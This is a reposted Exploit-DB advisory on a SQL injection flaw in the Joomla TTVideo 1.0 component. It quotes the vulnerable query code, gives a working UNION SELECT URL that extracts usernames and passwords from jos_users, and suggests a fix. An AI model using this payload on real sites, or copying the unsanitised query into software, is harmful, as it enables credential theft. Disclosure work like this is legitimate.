Joomla! Component TTVideo 1.0 – SQL Injection

• Exploit Database
• 11 阅读

• 作者： Salvatore Fresta
  日期： 2010-07-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14481/

• TTVideo 1.0 Joomla Component SQL Injection Vulnerability
  
  Download link: http://www.toughtomato.com/resources/downloads/joomla-1.5/components/ttvideo/
  
   NameTTVideo
   Vendorhttp://www.toughtomato.com
   Versions Affected 1.0
  
   AuthorSalvatore Fresta aka Drosophila
   Website http://www.salvatorefresta.net
   Contact salvatorefresta [at] gmail [dot] com
   Date2010-07-27
  
  X. INDEX
  
   I.ABOUT THE APPLICATION
   II. DESCRIPTION
   III.ANALYSIS
   IV. SAMPLE CODE
   V.FIX
   
  
  I. ABOUT THE APPLICATION
  ________________________
  
  TTVideoisaJoomla!component that makes use of the
  popularvideosharingsiteVimeotocreate a video
  library.
  
  
  II. DESCRIPTION
  _______________
  
  Aparameterinttvideo.phpis not properly sanitised
  before being used in a SQL query.
  
  
  III. ANALYSIS
  _____________
  
  Summary:
  
   A) SQL Injection
   
  
  A) SQL Injection
  ________________
  
  The parameter cid passed to ttvideo.php when task is set
  to videois not properly sanitised before being used in
  a SQL query.Thiscanbeexploited to manipulate SQL
  queries by injecting arbitrary SQL code.Thefollowing
  is the vulnerable code:
  
  ttvideoController.php (line 40):
  
  function video() {
  $cid = JRequest::getVar('cid', null, 'default');
  
  
  ttvideo.php (line 188):
  
  function getVideo($id) {
  $db = $this->getDBO();
  $db->setQuery("SELECT * from #__ttvideo WHERE id=$id");
  $video = $db->loadObject(); 
  if ($video === null)
  JError::raiseError(500, 'Video with ID: '.$id.' not found.');
  return $video;
  }
  
  
  IV. SAMPLE CODE
  _______________
  
  A) SQL Injection
  
  http://site/path/index.php?option=com_ttvideo&task=video&cid=-1 UNION SELECT 1,2,3,4,5,6,7,8,CONCAT(username,0x3A,password),10,11,12,13,14,15,16,17 FROM jos_users
  
  
  V. FIX
  ______
  
  Use JRequest::getInt instead of JRequest::getVar